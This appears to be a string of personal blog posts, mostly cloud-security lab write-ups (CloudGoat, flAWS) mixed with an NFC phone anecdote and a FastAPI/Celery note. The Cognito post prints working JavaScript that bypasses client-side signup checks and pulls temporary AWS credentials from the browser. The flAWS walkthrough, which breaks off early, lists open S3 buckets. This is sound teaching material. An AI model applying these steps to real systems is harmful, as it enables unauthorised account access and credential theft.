chmod 600 /home/$USERNAME/.ssh/authorized_keys

# 4. Harden SSH via sshd_config.d
echo "[+] Writing SSH hardening config to $SSHD_HARDEN_FILE"
cat <<EOF > "$SSHD_HARDEN_FILE"
PermitRootLogin no
PasswordAuthentication no
AllowUsers $USERNAME
EOF

# 5. Reload and done
echo "[+] Reloading sshd..."
systemctl reload sshd
echo "[✔] Proxmox hardening complete."

Now your Proxmox host sits in its Metapod shell 🎉

Happy Coding!

Let me tell you a story, where I facepalmed so hard, that I still had the mark the next day. Denkanstoss (thought-provoking impulse). This is how my wife called it. Pretty accurate, if you ask me.

The Initial Symptoms

So what exactly happened? A sad R2D2. Every time I unlocked my phone it played this strange "failure" sound. I've never heard it before.

Another feature that I unlocked: Pocketwarmer. My phone became constantly hot. Even worse, the battery life plummeted from 100% to 35% in just two hours. Something was definitely wrong.

The Obvious first

The first question you should always ask is: What changed? The system was running just fine before, so what are the recent changes made to the system that might have caused this behaviour?

Well, the most obvious change was the installation of some new apps. New apps are often the culprits, right? Sure! So like with code, let's remove these changes and see if that fixes the issue here.

Some deinstallations later...

I've won more space, but my phone was still a sad and hot R2D2.

The Energy Consumption Investigation

Alright, since that didn't work, it is time for a deeper dive. Maybe an update on an app is causing this issue. Time to look into the energy consumption of the remaining apps. Look at that! Nothing...
Everything seemed normal, nothing that spiked persisted. Clearly, I needed to look deeper.

Ol' Reliable

A simple restart can solve many tech issues. Especially hardware-related. So, let's go! Phone restarting, booting, some apps are launching and then the sad noise. But this time it popped up a notification: "This chip couldn't be read". Huh?! Chip, what chip?

The Eureka Moment

After a little bit of thinking it struck me: my identity card! It is my ID card! The day before I went out and just wanted to take my ID card which is usually in my wallet, so I tucked it inside my phone case. This was causing the chaos. Positioned directly behind the phone, it triggered the NFC reader constantly. Thus creating this hot sad R2D2.

The Resolution

Once known I've got a simple solution for this problem. I just put my ID card in an RFID-blocking case. I could also remove it, but where is the fun in that?!

The Lesson Learned

This experience showed me the value of applying structured debugging skills to everyday problems. Solutions often hide in the details, waiting to be discovered with a bit of patience and persistence. The journey was frustrating, but the triumph was sweet and satisfying.

Goodbye, you sad and hot R2D2, I hope to never see you again.

*sad beep*

In my recent exploration of cloud vulnerabilities with the help of Pacu and CloudGoat by Rhino Security Labs, we were able to demonstrate how a combination of overlooked permissions and an SQL injection vulnerability in a Lambda function could lead to unauthorized privilege escalation.

Today's discussion shifts from exploits to solutions focusing on how to fix these weak points effectively. Can we fix it?

Yes, we can!  We will look into specific remedial actions that could seal the previously exploited gaps, ensuring our cloud fortifications are as steadfast as they can be.

So, put on your overalls, and off we go!

Fixing the SQL Injection Vulnerability

We are going to start with the root cause, SQL injection vulnerability. The fix is pretty easy actually, the solution is called prepared SQL statements.

Here's what the original code looked like:

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):

As you can see it is dirty! Why? Because it is not sanitized. The variable policy was directly interpolated into the SQL query string. Don't do that! Never! And if you see someone doing it, you've got my permission to slap them.

An attacker could manipulate the value of policy to alter the structure of the SQL query and execute malicious commands. Check out the last post for detailed steps.

Luckily the fix is super easy:

prepared_statement = "select policy_name from policies where policy_name=? and public='True'"
for row in db.query(prepared_statement, [policy]):

This is now a prepared SQL statement. It ensures that the policy variable is never directly incorporated into the SQL query, thereby eliminating the possibility of SQL injection. Easy right?

The full code after making the changes would look like this:

# main.py
import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')

def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        prepared_statement = "select policy_name from policies where policy_name=? and public='True'"
        for row in db.query(prepared_statement, [policy]):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."

Do you want to see more?

Ok, another solution is to use Object-Relational Mapping (ORM), e.g. SQLAlchemy. They provide a higher level of abstraction over SQL databases, which means you can interact with the database in object-oriented syntax rather than raw SQL queries.

Here's how the code would look like if we were to rewrite it using SQLAlchemy:

# main.py
import boto3
import sqlalchemy as db

from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import Session


Base = declarative_base()


class Policy(Base):
    __tablename__ = "policies"

    policy_name = db.Column(db.String, primary_key=True)
    public = db.Column(db.Boolean)

    def __repr__(self):
        return "<Policy(policy_name='%s', public='%s')>" % (
            self.policy_name,
            self.public,
        )


engine = db.create_engine("sqlite:///my_database.db")
session = Session(engine)

iam_client = boto3.client("iam")


def handler(event, context):
    target_policys = event["policy_names"]
    user_name = event["user_name"]
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        rows = db.select(Policy).where(
            Policy.policy_name == policy and Policy.public == True
        )

        for row in session.scalars(rows):
            statement_returns_valid_policy = True
            print(f"applying {row.policy_name} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row.policy_name}",
            )
            print("result: " + str(response["ResponseMetadata"]["HTTPStatusCode"]))

        if not statement_returns_valid_policy:
            invalid_policy_statement = (
                f"{policy} is not an approved policy, please only choose from approved "
                f"policies and don't cheat. :) "
            )
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."

Applying a Least Privilege Policy to the Bilbo User

Now that we have fixed the  SQL injection vulnerability, would you like to secure this account even more?

Alright, Alright. Somebody is really into securing his cloud environment.

Time for the least privilege. A least privilege policy grants a user only the permissions they need to perform their job, and nothing more.

I don't know much about the application here, but I'm certain the 'bilbo' user does not need AdministratorAccess, ever. Hell, I'm going to go even one step further and only allow that user to assume a role and nothing more.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Deny",
            "NotAction": [
                "sts:AssumeRole"
            ],
            "Resource": "*",
            "Condition": {
                "ArnNotLike": {
                    "aws:SourceArn": "arn:aws:iam::<account_id>:role/cg-lambda-invoker*"
                }
            }
        }
    ]
}

With this policy attached the 'bilbo' user has an explicit deny on everything! The only exception is an assume-role action on the specific role. Least privilege. So, even when that user gets administrator access, he still would not be able to access anything. Why? Because an explicit deny in any of these policies overrides the allow.

It is like when you ask your Dad for something and he allows it, but then Mom says no, it is a no.

Let's verify the theory. First, we are going to list the attached policies user again. Still, AdministratorAccess policy is attached, perfect!

Pacu (vulnerable_lambda:bilbo) > aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

Now let's check if we can still access the secret:

Pacu (vulnerable_lambda:bilbo) > aws secretsmanager list-secrets

An error occurred (AccessDeniedException) when calling the ListSecrets operation: User: arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq is not authorized to perform: secretsmanager:ListSecrets with an explicit deny in an identity-based policy

As you can see, he is no longer allowed to even list the secrets. Which means the policy is how it should be: Least privilege!

Conclusion

Addressing the "vulnerable_lambda" scenario in CloudGoat required us to identify the vulnerable code, eliminate the SQL injection vulnerability, and apply a least privilege policy to the 'bilbo' user.

By taking these steps, we have significantly improved the security not only for the application but also for the cloud environment.

Looking ahead, I plan to continue exploring more scenarios in CloudGoat. Each scenario presents a unique set of challenges and opportunities to learn about different types of vulnerabilities and how to mitigate them. I encourage you to join us on this journey of learning and improvement.

Don't hesitate to share your thoughts, experiences, and solutions to this scenario.

First I implemented a working solution with FastAPI's BackoundTasks feature. But this didn't feel right. In the documentation Celery recommended, so I go with that. No problem. I've already worked with Celery, so that should not be a big problem!

It was a big problem

While BackgroundTasks are for running tasks in the background after the request-response cycle, it falls short in scenarios requiring long-running or resource-intensive operations. You know, such as processing large CSV files for imports.

This is out of the way, what exactly is the problem with Celery? Async! Because of the nature of pecuny, I'm using async database sessions. Which was no problem with BackgrounTasks, but Celery is not supporting async tasks yet. What a bummer. Which means I need to find a way that suits my needs.

The Solution

Reading a ton of Celery tutorials (like 3!), which none covered async tasks. Even FastAPI + Celery = ♥ which promised me it would equal love, but didn't deliver 😔.

Luckily I was not the only one facing this issue. There are a couple of working solutions, but only one of them I found perfect for me. AsyncCelery! A big thanks to Cyril for providing this class.

Why do I love it? Because it solves my problem, without the need to load in another library or do some weird shenanigans. It is working, clean and simple enough that I understand what is going on.

Minimal Example

I know that it would be a lot of struggle to go through pecuny's codebase to find out how exactly I implemented it, so I've created a dedicated repository for this. Because I love you!

fastapi-async-celery

Conclusion

In the world of software development, finding the right tool for the job can often be as challenging as squaring the circle. My journey with pecuny's import feature epitomizes this, starting with FastAPI's BackgroundTasks and transitioning to Celery in hopes of a more robust solution. Yet, the asynchronous nature of Pecuny's database sessions threw a wrench in the works, underscoring Celery's current limitations with async tasks.

This experience reminds us that no tool is a one-size-fits-all solution, prompting a continuous search for alternatives that align with our unique project needs.

A Sign-In Form with Restrictions

As always, the first step is to deploy the scenario:

$ ./cloudgoat.py create vulnerable_cognito
...
apigateway_url = "https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html"
cloudgoat_output_aws_account_id = "<account_id>"

[cloudgoat] terraform application completed with no error code.

[cloudgoat] terraform output completed with no error code.
apigateway_url = https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/index.html
cloudgoat_output_aws_account_id = <account_id>

[cloudgoat] Output file written to:

    /Users/eduardschwarzkopf/projects/cloudgoat/vulnerable_cognito_cgidigx3lybttl/start.txt

Alright, time to check out the apigateway_url. A Login form. Also a signup form. Nothing too fancy so far. Let's poke around a little bit.
After the first tests, it seems that we are only allowed to sign up with emails ending in @ecorp.com. I don't have that domain, so I need to find another way in.

What about the HTML code for the signup form?

<div class="app-view">  
    <header class="app-header">
      <h1>Vuln Cognito</h1>
      Welcome,<br>
      <span class="app-subheading">
        Signup to continue<br>
      </span>
    </header>
    <input type="text" id="first" placeholder="First Name">
    <input type="text" id="last" placeholder="Last Name">
    <input type="email" id="email" required="" placeholder="Email (user@ecorp.com)">
    <!--pattern="[a-zA-Z0-9]{1,40}@ecorp.com"-->
    <input type="password" id="password" required="" placeholder="Password">
    <a class="app-button" onclick="Signup()">Signup</a>
    <div class="app-register">
      Don't have an account? <a href="./index.html">Login</a>
    </div>
  </div>

As you can see there is an onclick event with a Signup function. Interesting. Let's search for it.
After a quick look at the top, I'm able to find this function:

function Signup(){

//  var letters = /[a-zA-Z0-9]{1,40}@ecorp.com/;

  var email = document.getElementById('email').value;
  var Regex = email.search('@ecorp.com');
//  alert(Regex);

  if(Regex == -1) {

    alert("Only Emails from ecorp.com are accepted");
    return false;

  }

  var first = document.getElementById('first').value;
  var last = document.getElementById('last').value;
  var password = document.getElementById('password').value;



  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('user name is ' + cognitoUser.getUsername());
  });

}

As expected this function is responsible for enforcing the email domain check. But oh my, oh my! It also reveals some information about Cognito: UserPoolId and ClientId. Let's write that down:

• UserPoolId: us-east-1_VBPiVJR5E
• ClientId: 2tc0q6pcg2glt9no2hsho0ng1i

A Custom Signup Function: Tailoring Access

Well since I'm in JavaScript world (🤢), I can fiddle around with the code here in the browser console. So, I'm going to make my own signup function with blackjack and hookers!

The only thing that stands in our way is the email domain validation. Validation, who needs that, am I right? Let's do a little trick called Defenestration.

So here it is, the MuchBetterSignup function:

function MuchBetterSignup(){

  var email = "vulnerable_cognito@existiert.net;

  var first = "John";
  var last = "Doe";
  var password = "D6jte%A@ap4B@9&cM$&wH*AcME!27ugj";

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('Custom Signup - user name is ' + cognitoUser.getUsername());
  });

}

Sidenote: I'm using temporary emails from Müllmail.com.

The execution reveals the following:

First try! One step closer to the goal. Let's move on.

User Confirmation and Credential Scrutiny

After successfully executing the MuchBetterSignup function, I received a confirmation code.

Guess, I also need to find a way to confirm this user now. After a little bit of research, it seems that sdk documentation gives me the correct answer:

Ok, so this code should confirm the user:

  var confirmationCode = "557070"

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };

  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
   Username: "vulnerable_cognito@existiert.net",
   Pool: userPool
  });

  cognitoUser.confirmRegistration(confirmationCode, true, (err, result) => {
   if (err) {
    console.log('error', err.message);
    return;
   }

   console.log('call result: ' + JSON.stringify(result));
  });

Confirmation code to expired. Dang it, it took me too long. I need a new confirmation code. No problemo! This should be easy:

var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: "vulnerable_cognito@existiert.net",
    Pool: userPool
});


cognitoUser.resendConfirmationCode((error, result) => {
            if (error) {
                console.log('error');
                console.log(error);
                reject(error);
            } else {
                console.log('result');
                console.log(result);
                resolve(result);
            }
        }
);

Well, this is a weird output:

On the first try again!

Now better execute the function with the new confirmation code:

Weird, seems like I've already confirmed that user somehow?! Let's try to log in then:

Success! I'm a Reader!! Whatever that means.

So what we've got here? Time to dive into the code again:

Not anything useful, except the console output. What about the storage?

Alright, looks like a JWT. Let's hop over to jwt.io and check the payload:

Here it is in the full payload:

{
  "sub": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E",
  "client_id": "2tc0q6pcg2glt9no2hsho0ng1i",
  "origin_jti": "cd452c69-3dc2-456e-bd38-466551d5b33e",
  "event_id": "b2f482ed-472a-42e8-99db-f75b9ce9453c",
  "token_use": "access",
  "scope": "aws.cognito.signin.user.admin",
  "auth_time": 1707816500,
  "exp": 1707820100,
  "iat": 1707816500,
  "jti": "c0b9ee8a-1225-49ec-912d-2ca44cc79112",
  "username": "2aacf7a4-05be-4d17-8994-74fad13545ab"
}

The scope seems to be interesting. I mean, admin is always interesting. May be useful later.

Checking the other tokens reveals not that much information. But the idToken is a bit different:

{
  "sub": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "email_verified": true,
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E",
  "cognito:username": "2aacf7a4-05be-4d17-8994-74fad13545ab",
  "given_name": "John",
  "custom:access": "reader",
  "origin_jti": "cd452c69-3dc2-456e-bd38-466551d5b33e",
  "aud": "2tc0q6pcg2glt9no2hsho0ng1i",
  "event_id": "b2f482ed-472a-42e8-99db-f75b9ce9453c",
  "token_use": "id",
  "auth_time": 1707816500,
  "exp": 1707820100,
  "iat": 1707816500,
  "family_name": "Doe",
  "jti": "3e5c0f27-ad36-4b63-a856-48f5294f4ec9",
  "email": "vulnerable_cognito@existiert.net"
}

Just all the user data as it seems. But and that is a big but, we've got one interesting attribute here: custom:access.

OK, now what? Maybe I can edit this attribute and write something else to it? you know something like admin.
Since the Sign-Up form gave us access to the SDK, maybe I'm able to use that to edit this value:

var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);


var cognitoUser = new AmazonCognitoIdentity.CognitoUser({
    Username: "vulnerable_cognito@existiert.net",
    Pool: userPool
});

var customAttribute = new AmazonCognitoIdentity.CognitoUserAttribute({
        Name: "custom:access",
        Value: "admin"
});

cognitoUser.updateAttributes([customAttribute], function (err, result) {
        console.log({ err, result });
});

Not authenticated. So nothing I can do here.
How about I add a user with the attribute on sign-up?

The Ploy for Admin Access

Alright, let's write a new sign-up function that sets the custom:access value:

function AdminSignup(){

  var email = "vulnerable_cognito_admin@jaga.email";

  var first = "John";
  var last = "Doe";
  var password = "D6jte%A@ap4B@9&cM$&wH*AcME!27ugj";

  var poolData = {
    UserPoolId: 'us-east-1_VBPiVJR5E',
    ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
  };


  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);

  var attributeList = [];

  var dataEmail = {
    Name: 'email',
    Value: email,
  };

  var dataFirstName = {
    Name: 'given_name',
    Value: first,
  };

  var dataLastName = {
    Name: 'family_name',
    Value: last,
  };

  // added
  var dataAdminAccess = {
    Name: 'custom:access',
    Value: 'admin',
  };

  var attributeEmail = new AmazonCognitoIdentity.CognitoUserAttribute(dataEmail);
  var attributeFirstName = new AmazonCognitoIdentity.CognitoUserAttribute(dataFirstName);
  var attributeLastName = new AmazonCognitoIdentity.CognitoUserAttribute(dataLastName);

  var attribueAdminAccess = new AmazonCognitoIdentity.CognitoUserAttribute(dataAdminAccess); // added

  attributeList.push(attributeEmail);
  attributeList.push(attributeFirstName);
  attributeList.push(attributeLastName);

  attributeList.push(attribueAdminAccess); // added

  userPool.signUp(email, password, attributeList, null, function(
    err,
    result
  ) {
    if (err) {
      alert(err.message || JSON.stringify(err));
      return;
    }
    var cognitoUser = result.user;
    console.log('Admin Signup - user name is ' + cognitoUser.getUsername());
  });

}

That worked perfectly. Registering and confirming went smoothly. Now logging in!

Still a 'Reader'?! So that was "ein Schuss in den Ofen".

Hmpf... What now? Upon checking the url I see a reader.html. How about admin.html?

https://4j4rg613gk.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidigx3lybttl/admin.html

I'll be damned, that worked!!

This security by obscurity was a weak one.

Exploiting the System: The Final Play

Well, what can I do here? Checking the source code again reveals something very very juicy:

var poolData = {
  UserPoolId: 'us-east-1_VBPiVJR5E',
  ClientId: '2tc0q6pcg2glt9no2hsho0ng1i',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
var cognitoUser = userPool.getCurrentUser();


if (cognitoUser != null) {
	cognitoUser.getSession(function(err, result) {
		if (result) {
			console.log('You are now logged in.');

			//POTENTIAL: Region needs to be set if not already set previously elsewhere.
			AWS.config.region = 'us-east-1';

			// Add the User's Id Token to the Cognito credentials login map.
			AWS.config.credentials = new AWS.CognitoIdentityCredentials({
				IdentityPoolId: 'us-east-1:66ba9fc0-1528-4e33-9482-e9d6216862e7',
				Logins: {
					'cognito-idp.us-east-1.amazonaws.com/us-east-1_VBPiVJR5E': result
						.getIdToken()
						.getJwtToken(),
				},
			});
		}
	});
}
//call refresh method in order to authenticate user and get new temp credentials
AWS.config.credentials.refresh(error => {
	if (error) {
		console.error(error);
	} else {
		console.log('Successfully logged!');
	}
});

Seems like the SDK is back on the menu boys! Even better, it most likely has Admin privileges. Can we get some credentials out of this?
Lucky me, AWS provides a great documentation on how to get credentials from Cognito.

So, when I read that correctly, I should be able to just grab the credentials by simply accessing AWS.config.credentials.

AWS.config.credentials.accessKeyId
"ASIAZQ3DQJ3M4MWPKN75"
AWS.config.credentials.secretAccessKey
"vMQDprUC3c9h3H4PMY7Cunf907vBl6MtNRqfx7jK"
AWS.config.credentials.sessionToken
"IQoJb3JpZ2luX2VjEJz//////////******"

Bingo! That marks the scenario as complete.

Conclusion: A Succesful Endeavor

I was able to extract AWS credentials. Just with a little dirty JavaScript. This shows a seemingly minor misconfiguration can potentially, in combination with a role with excessive permissions, pave the way for unauthorized access, leading to a complete compromise of the system.

The validation of custom attributes on the client side rather than the server side is a fundamental error, revealing that security by obscurity isn't security at all.
Proper server-side validation is a must-have to prevent such easy bypassing of security measures.

It also shows that security by obscurity isn't security at all, especially when your resources have admin in their name.

A single loophole can escalate to full administrative access. The takeaway here: always be meticulous in your configurations to protect your cloud infrastructure from virtual threats.

As promised, now it is time to fix this. This will not only secure your cloud assets but also ensure the integrity and reliability of your operations. Stay tuned for this important update.

flAWS, the brainchild of Scott Piper from Summit Route, is a unique cloud security game designed to educate users on the common pitfalls and misconfigurations that can occur when employing Amazon Web Services (AWS).
Unlike traditional web-based security challenges, flAWS focuses exclusively on AWS-specific issues, eschewing more commonplace vulnerabilities like SQL Injection or XSS.

If you want to do the challenge yourself, visit http://flaws.cloud/ and enjoy.

For everybody else, I won't judge you.

_____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|

Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS-specific issues.

A series of hints are provided that will teach you how to discover the info you'll need. If you don't want to run any commands, you can just keep following the hints which will give you the solution to the next level. At the start of each level, you'll learn how to avoid the problem the previous level exhibited.

Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud.
Now for the challenge!

Level 1

This level is buckets of fun. See if you can find the first sub-domain.

http://flaws.cloud/

Let's see what we can learn from this.

Level 1 - A Bucket Full of Holes

Since we are on the dark side and want to attack something, the very first thing we need to do is recon.

A good step is always to check what is behind the domain name.
For this, you can use tools like dig or nslookup.

$ nslookup flaws.cloud
Server: 192.168.178.28
Address: 192.168.178.28#53

Non-authoritative answer:
Name: flaws.cloud
Address: 52.218.180.114
Name: flaws.cloud
Address: 52.218.242.162
Name: flaws.cloud
Address: 52.92.128.51
Name: flaws.cloud
Address: 52.218.225.58
Name: flaws.cloud
Address: 52.218.241.99
Name: flaws.cloud
Address: 52.218.244.91
Name: flaws.cloud
Address: 52.92.195.203
Name: flaws.cloud
Address: 52.92.177.155

$ dig flaws.cloud

; <<>> DiG 9.10.6 <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20000
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;flaws.cloud.   IN A

;; ANSWER SECTION:
flaws.cloud.    5 IN  A 52.218.128.7
flaws.cloud.    5 IN  A 52.92.193.187
flaws.cloud.    5 IN  A 52.92.176.91
flaws.cloud.    5 IN  A 52.92.136.99
flaws.cloud.    5 IN  A 52.92.193.67
flaws.cloud.    5 IN  A 52.92.145.19
flaws.cloud.    5 IN  A 52.218.169.210
flaws.cloud.    5 IN  A 52.92.241.67

;; Query time: 45 msec
;; SERVER: 192.168.178.28#53(192.168.178.28)
;; WHEN: Tue Aug 29 15:48:40 CEST 2023
;; MSG SIZE  rcvd: 168```

As you can see we get a bunch of A records back for some servers.
Let's dig into it a bit further:

$ nslookup 52.218.128.7
Server: 192.168.178.28
Address:  192.168.178.28#53

Non-authoritative answer:
7.128.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

Authoritative answers can be found from:

Seems like the website is hosted on an S3 Bucket.
If you don't know how to set this up, you can check the documentation.
From there you can read the following:

To create an S3 bucket for your root domain

1. Open the Amazon S3 console at https://console.aws.amazon.com/s3/.
2. Choose Create bucket.
3. Enter the following values:

• Bucket name:
  • Enter the name of your domain, such as example.com.

This means we've got a bucket name: flaws.cloud.
Now we can take a look inside and see what we can see see see.

We've got two methods:

Via Browser with the URL: <bucketname>.s3.amazonaws.com

or use the CLI (if you don't want to use/load credentials, use --no-sign-request as a parameter, more configuration options can be found here.):

$ aws s3 ls  s3://flaws.cloud/
2017-03-14 04:00:38       2575 hint1.html
2017-03-03 05:05:17       1707 hint2.html
2017-03-03 05:05:11       1101 hint3.html
2020-05-22 20:16:45       3162 index.html
2018-07-10 18:47:16      15979 logo.png
2017-02-27 02:59:28         46 robots.txt
2017-02-27 02:59:30       1051 secret-dd02c7c.html

Well, if secret-dd02c7c.html isn't something you want to look into, then I don't know what you're doing. Time to reveal it:

That wasn't too bad. What did we learn from this? Let me just quote Scott:

Lesson learned

On AWS you can set up S3 buckets with all sorts of permissions and functionality including using them to host static files. Some people accidentally open them up with permissions that are too loose. Just like how you shouldn't allow directory listings of web servers, you shouldn't allow bucket listings.
Examples of this problem

• Directory listing of S3 bucket of Legal Robot (link) and Shopify (link).
• Read and write permissions to the S3 bucket for Shopify again (link) and Udemy (link). This challenge did not have read and write permissions, as that would destroy the challenge for other players, but it is a common problem.

Avoiding the mistake

By default, S3 buckets are private and secure when they are created. To allow it to be accessed as a web page, I had to turn on "Static Website Hosting" and change the bucket policy to allow everyone "s3:GetObject" privileges, which is fine if you plan to publicly host the bucket as a web page. But then to introduce the flaw, I changed the permissions to add "Everyone" to have "List" permissions. "Everyone" means everyone on the Internet. You can also list the files simply by going to http://flaws.cloud.s3.amazonaws.com/ due to that List permission.

The policy will look like the following:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DoNotDoThisEver",
      "Effect": "Allow",
      "Action": "s3:*",
      "Principal": "*", // Everybody on the World Wide Web
      "Resource": [
        "arn:aws:s3:::BUCKETNAME/*",
        "arn:aws:s3:::BUCKETNAME"
      ]
    }
  ]
}

A policy with any wildcard is usually a bad sign, except you are a KMS key and want to reference yourself https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-overview.html#key-policy-elements (see section Resource)!
Avoid wildcards wherever possible (It is always possible).

So in Short.
Make sure to only give permissions to files that are needed.
You know, that principle of least privilege that you read about all the time.

Level 2 - A Bucket Full of Holes (still)

Level 2

The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.

Well, that should be easy.
Let's try another list bucket cli command on this domain:

$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:02:15      80751 everyone.png
2017-03-03 04:47:17       1433 hint1.html
2017-02-27 03:04:39       1035 hint2.html
2017-02-27 03:02:14       2786 index.html
2017-02-27 03:02:14         26 robots.txt
2017-02-27 03:02:15       1051 secret-e4443fc.html

And same as before, time to visit the secret site:

That was too easy. Now, what did we learn from this?

Lessons learned

Time to quote Scott again:

Lesson learned
Similar to opening permissions to "Everyone", people accidentally open permissions to "Any Authenticated AWS User". They might mistakenly think this will only be users of their account, when in fact it means anyone that has an AWS account.

Examples of this problem

• Open permissions for authenticated AWS user on Shopify (link)

Avoiding the mistake

Only open permissions to specific AWS users. This screenshot is from the web console in 2017. This setting can no longer be set in the webconsole, but the SDK and third-party tools sometimes allow it.

You can spot these mistakes when you see a policy like the following:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllAWSAccounts",
      "Effect": "Allow",
      "Action": "s3:*",
      "Principal" : { "AWS" : "*" } // Means every AWS Account
      "Resource": [
        "arn:aws:s3:::BUCKETNAME/*",
        "arn:aws:s3:::BUCKETNAME"
      ]
    }
  ]
}

Level 3 - Déjà-vu

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.

Alright, time to get a bit deeper into an account.
So, as before, let's take a look inside the bucket:

aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 01:14:33     123637 authenticated_users.png
2017-02-27 01:14:34       1552 hint1.html
2017-02-27 01:14:34       1426 hint2.html
2017-02-27 01:14:35       1247 hint3.html
2017-02-27 01:14:33       1035 hint4.html
2020-05-22 20:21:10       1861 index.html
2017-02-27 01:14:33         26 robots.txt

Okay, cool, we've got something.
A couple of hints and as it seems a .git folder.
That seems the most interesting of all the other files.

Let's see if we can download it:

$ cd /tmp
